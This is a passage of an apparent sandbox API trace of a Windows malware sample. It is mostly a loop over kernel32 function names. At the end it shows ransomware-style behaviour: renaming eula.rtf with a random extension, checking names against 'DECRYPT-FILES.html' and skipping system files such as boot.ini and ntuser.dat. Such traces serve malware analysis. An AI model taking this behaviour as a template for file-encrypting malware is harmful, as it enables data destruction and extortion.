(in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0122.245] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0122.245] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0122.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0122.245] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0122.246] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0122.246] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0122.246] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0122.246] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0122.246] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0122.246] lstrlenA (lpString="CLOSESTATE") returned 10 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0122.246] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0122.246] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0122.246] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0122.246] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0122.246] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0122.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0122.246] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0122.247] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0122.247] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0122.247] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0122.247] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0122.247] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0122.247] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0122.247] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0122.247] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0122.247] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0122.247] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0122.247] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0122.247] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0122.247] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0122.247] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0122.247] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0122.247] lstrlenA (lpString="COPYCONTEXT") returned 11 [0122.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0122.248] lstrlenA (lpString="COPYFILE2") returned 9 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0122.248] lstrlenA (lpString="COPYFILEA") returned 9 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0122.248] lstrlenA (lpString="COPYFILEEXA") returned 11 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0122.248] lstrlenA (lpString="COPYFILEEXW") returned 11 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0122.248] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0122.248] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0122.248] lstrlenA (lpString="COPYFILEW") returned 9 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0122.248] lstrlenA (lpString="COPYLZFILE") returned 10 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0122.248] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0122.248] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0122.248] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0122.248] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0122.248] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0122.248] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0122.248] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0122.248] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0122.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0122.248] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0122.249] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0122.249] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0122.249] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0122.249] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0122.249] lstrlenA (lpString="CREATEEVENTA") returned 12 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0122.249] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0122.249] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0122.249] lstrlenA (lpString="CREATEEVENTW") returned 12 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0122.249] lstrlenA (lpString="CREATEFIBER") returned 11 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0122.249] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0122.249] lstrlenA (lpString="CREATEFILE2") returned 11 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0122.249] lstrlenA (lpString="CREATEFILEA") returned 11 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0122.249] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0122.249] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0122.249] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0122.249] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0122.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0122.250] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0122.250] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0122.250] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0122.250] lstrlenA (lpString="CREATEFILEW") returned 11 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0122.250] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0122.250] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0122.250] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0122.250] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0122.250] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0122.250] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0122.250] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0122.250] lstrlenA (lpString="CREATEJOBSET") returned 12 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0122.250] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0122.250] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0122.250] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0122.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0122.250] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0122.251] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0122.251] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0122.251] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0122.251] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0122.251] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0122.251] lstrlenA (lpString="CREATEPIPE") returned 10 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0122.251] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0122.251] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0122.251] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0122.251] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0122.251] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0122.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0122.252] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0122.252] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0122.252] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0122.252] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0122.252] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0122.252] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0122.252] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0122.252] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0122.252] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0122.252] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0122.252] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0122.252] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0122.252] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0122.252] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0122.252] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0122.252] lstrlenA (lpString="CREATETHREAD") returned 12 [0122.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0122.252] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0122.253] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0122.253] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0122.253] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0122.253] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0122.253] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0122.253] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0122.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0122.254] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\eula.rtf.2dxgzy") returned 42 [0122.254] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.2dxgzy" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.2dxgzy"), dwFlags=0x0) returned 1 [0122.254] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.255] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.255] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.255] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0122.255] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0122.256] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0122.256] 